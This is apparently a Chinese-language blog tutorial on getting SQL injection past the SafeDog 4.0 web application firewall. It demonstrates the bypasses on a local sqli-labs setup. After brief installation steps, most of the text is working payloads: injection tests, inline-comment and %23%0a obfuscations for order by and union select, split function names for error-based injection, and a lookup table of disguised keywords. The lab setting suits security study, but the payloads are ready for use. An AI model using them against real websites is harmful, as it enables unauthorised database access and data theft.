最近想着把過waf相關的整理一下,本次主要以安全狗4.0為例進行演示
准備工作
安全狗官網:
http://free.safedog.cn/install_desc_website.html
環境:Windows10+phpstudy+sqli-labs+安全狗v4.0
安裝工作
1.下載安全狗
2.查看Apache服務是否存在
在這之前要先查看服務里有沒有Apache,一般是用PHPstudy集成環境測試的話,是沒有這個服務的,需要自己手動添加一下 ,cd到phpstudy的apache2/bin目錄,cmd執行:
httpd.exe -k install -n apache2.4 #apache2.4就是你的服務名,可以自定義
安裝之后,看到服務名就出現
3.安裝網站安全狗
然后安裝安全狗就只需要填寫一個服務名(就是你剛剛設置的那個名字)以及選擇Apache的版本
如何確定Apache的版本
httpd.exe -v
然后就好了
繞waf sql
1.判斷注入點
一般都是先判斷是數字型還是字符型(這里我就不過多描述),主要是試試如何繞and 1=1,因為and 1=1和and 1=2 的目的就是為了驗證是否存在可能注入點,如果被過濾掉,就用邏輯語句測試(有時候1=1不行可以試-1=-1,-1=-2)
http://127.0.0.1/sqli-labs-master/Less-1/?id=1%27%20and%20-1=%27-1
頁面正常
http://127.0.0.1/sqli-labs-master/Less-1/?id=1%27%20and%20-1=%27-2
頁面錯誤
所以總結,一般大致就這幾種
1' and -1='-1
-1'||-1='-1
-1'/*!14400or*/1=1%23
=替換成>、<、like、regexp同樣可以繞過
2.order by繞過
1.利用%23%0a繞
1' order%23%0Aby --+
2.內聯注釋繞過
/*!order /*!/*/**/by*/3-- -
/*!order /*/*%/**/by*/3-- -
/*!order /*!/*/**//**/by*/3-- -
/*!order /*!/*/**//*/**/by*/3-- -
/*!order /*!/*/**/*/by/**/3--+
3.union select繞過
-1'/*!union/*!/*/**/*/select/**/1,2,3 -- -
4.系統函數繞過
單獨的括號和函數名都不會檢測,思路就是分開函數名和括號就行
5.函數名繞過
在報錯注入的時候可以用這個格式繞過
/*!extractvalue/*!/*/**/*/
/*!updatexml/*!/*/**/*/
6.萬能的payload
針對兩個關鍵字連用或者函數
/*!union/*!/*/**/*/select/**/
/*!database/*!/*/**/*/()/**/
/*!order/*!/*/**/*/by/**/
針對單獨的一個關鍵字
/*!union/*!/*/**/*/
/*!updatexml/*!/*/**/*/
/*!extractvalue/*!/*/**/*/
快速查詢
= /*!*/=/*!*/
order /*!order/*!/*/**/*/
and /*!and/*!/*/**/*/
or /*!or/*!/*/**/*/
union /*!union/*!/*/**/*/
select /*!select/*!/*/**/*/
user() /*!user/*!/*/**/*/()/**/
database() /*!database/*!/*/**/*/()/**/
version() /*!version/*!/*/**/*/()/**/
session_user() /*!session_user/*!/*/**/*/()/**/
extractvalue /*!extractvalue/*!/*/**/*/()/**/
updatexml /*!updatexml/*!/*/**/*/
參考鏈接